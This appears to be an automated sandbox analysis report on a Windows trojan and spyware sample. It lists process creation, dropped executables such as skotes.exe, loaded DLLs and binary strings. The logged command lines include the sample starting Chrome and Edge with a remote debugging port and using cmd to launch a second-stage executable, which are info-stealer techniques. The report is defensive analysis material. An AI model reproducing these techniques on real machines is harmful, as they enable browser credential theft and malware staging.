Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: Section: sbjwtnei ZLIB complexity 0.9943211611348248
Source: skotes.exe.30.dr	Static PE information: Section: ZLIB complexity 0.9981799216621253
Source: skotes.exe.30.dr	Static PE information: Section: sbjwtnei ZLIB complexity 0.9943211611348248

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/295@28/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\4T6WKDVP.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8472:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\9efde6c1-7570-4bb3-9566-ade64a07ce4b.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2468808007.000000001D12D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2378266781.000000001D139000.00000004.00000020.00020000.00000000.sdmp, IIEHJEHDBGHIDGDGHCBG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2734673558.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsJEBKKEGDBF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2180,i,6193051421280990808,11917923522611111916,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2456,i,17039394704386658941,8402415813546333380,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6092 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6092 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7012 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5368 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEBKKEGDBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEBKKEGDBF.exe "C:\Users\user\DocumentsJEBKKEGDBF.exe"
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5400 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEBKKEGDBF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2180,i,6193051421280990808,11917923522611111916,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2456,i,17039394704386658941,8402415813546333380,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6092 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6092 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7012 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5368 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5400 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEBKKEGDBF.exe "C:\Users\user\DocumentsJEBKKEGDBF.exe"
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: profapi.dll
